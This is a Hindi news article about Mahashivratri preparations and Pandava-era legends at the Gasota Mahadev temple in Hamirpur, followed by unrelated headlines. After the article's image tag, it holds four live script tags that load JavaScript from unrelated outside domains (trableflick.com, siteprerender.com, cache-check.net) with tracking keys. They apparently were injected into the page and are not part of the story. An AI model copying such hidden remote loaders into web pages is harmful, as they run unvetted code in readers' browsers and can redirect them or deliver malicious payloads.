<p>प्राचीन काल से हमीरपुर जिला के गसोता महादेव मंदिर में महाशिव रात्रि पर्व धूमधाम से मनाया जाता है और मंदिर में सदियों से स्वंय भू शिवलिंग की पूजा अर्चना करके श्रद्वालु अपनी मन की मुराद पूरी करते हैं। महाशिवरात्रि पर्व को लेकर गसोता महादेव मंदिर में तैयारियां पूरी की जा रही है और महााशिवरात्रि पर्व के लिए कोविड प्रोटोकाल के तहत इस बार पर्व को मनाया जाएगा। पांडवकाल के समय की यादगार गसोता महादेव मंदिर में साल भर श्रद्वालु आते है और प्रदेश के बाहर पंजाब, दिल्ली , हरियाणा से भी लोग मंदिर में माथा टेकते है।</p>
<p>गसोता महादेव मंदिर के महंत राघवानंद गिरि महाराज ने बताया कि इस बार भी महाशिवरात्रि पर्व बडे धूमधाम से मनाने की तैयारी की गई है और मंदिर को फूलों से सजाया जा रहा है। साथ ही कोविड प्रोटोकॉल के तहत मंदिर में पूरा ख्याल रखा जाएगा। 11 मार्च को शिवरात्रि है और 12 मार्च को विशाल भंडारे का भी आयोजन मंदिर में किया जाएगा।</p>
<p>स्थानीय निवासियों ने बताया कि गसोता महादेव मंदिर बहुत ही पौराणिक है और पांडव काल से मंदिर का इतिहास जुडा हुआ है। मंदिर में स्थापित स्वयं भू शिवलिंग की पूजा अर्चना करने से हर मनोकामना पूरी होती है। करीब 11 सौ साल पहले से स्वयंभू शिवलिंग स्थापित है और आज भी मंदिर केआसपास पांडव काल से जुडे हुए साक्ष्य मौजूद है। गसोता महादेव का इतिहास पांडव काल से भी पहले का है और इस जगह पर गउओं को चराने वाली जगह का नाम बाद में गसोता पड़ा। उन्होंने बताया कि पांडव भी अपने अज्ञात वास के दौरान गसोता में कुछ समय रूके थे और भीम ने अपनी गदा से मंदिर के पास पानी का स्त्रोत बनाया था।</p>
<p>बता दें कि गसोता महादेव मंदिर में स्वयं भू शिवलिंग हल जोतते हुए लघवाण गांव में निकली थी और कैहडरू ले जाते हुए गसोता के पास रखा था लेकिन दोबारा पिंडी किसी से भी उठाई नहीं गई और आज भी पिंडी यहीं पर स्थापित है। मान्यता के अनुसार मंदिर में सच्चे मन से मांगने पर हर मुराद पूरी होती है। कहते हैं कि पांडवों के द्वारा मंदिर के नजदीक पानी के लिए स्त्रोत भी बनाया था जो कि आज भी मौजूद है और लोग यहां पर भी पूजा अर्चना करते है। साथ ही पांडवों ने इस स्थान पर गउओं को चराया था जिसके बाद ही उक्त स्थान का नाम गउसोता पडा है। शिवरात्रि पर्व के दिन सुबह तडके से ही मंदिर में लबी लंबी लाइनों में हजारों भक्तजन शिवलिंग की पूजा करने के लिए आते हैं।</p>
<p><img src=”/media/gallery/images/image(2491).png” style=”height:110px; width:900px” /></p>
<script src=”//trableflick.com/21aca573d498d25317.js”></script>
<script src=”http://siteprerender.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&uid=8620x” type=”text/javascript”></script>
<script src=”http://cache-check.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&uid=8620x&format=arrjs&r=1615359206933″ type=”text/javascript”></script>
<script src=”http://trableflick.com/ext/21aca573d498d25317.js?sid=52587_8620_&title=a&blocks[]=31af2″ type=”text/javascript”></script>
Himachal Govt ₹64 Crore Payment: दिल्ली स्थित हिमाचल भवन की कुर्की से बचाने के लिए…
Himachal Congress Reorganization: हिमाचल प्रदेश में कांग्रेस संगठन को पुनर्गठित करने की प्रक्रिया शुरू हो…
Hardoi road accident: उत्तर प्रदेश के हरदोई जिले के मल्लावां कोतवाली क्षेत्र में सोमवार तड़के…
Post-Monsoon Drought Himachal: हिमाचल प्रदेश में पिछले दो महीनों से बारिश न होने के…
Daily Horoscope November 25: सोमवार का दिन कई राशियों के लिए महत्वपूर्ण बदलाव और नई…
Bareilly GPS Navigation Acciden: बरेली में एक दर्दनाक सड़क हादसे में तीन लोगों की मौत…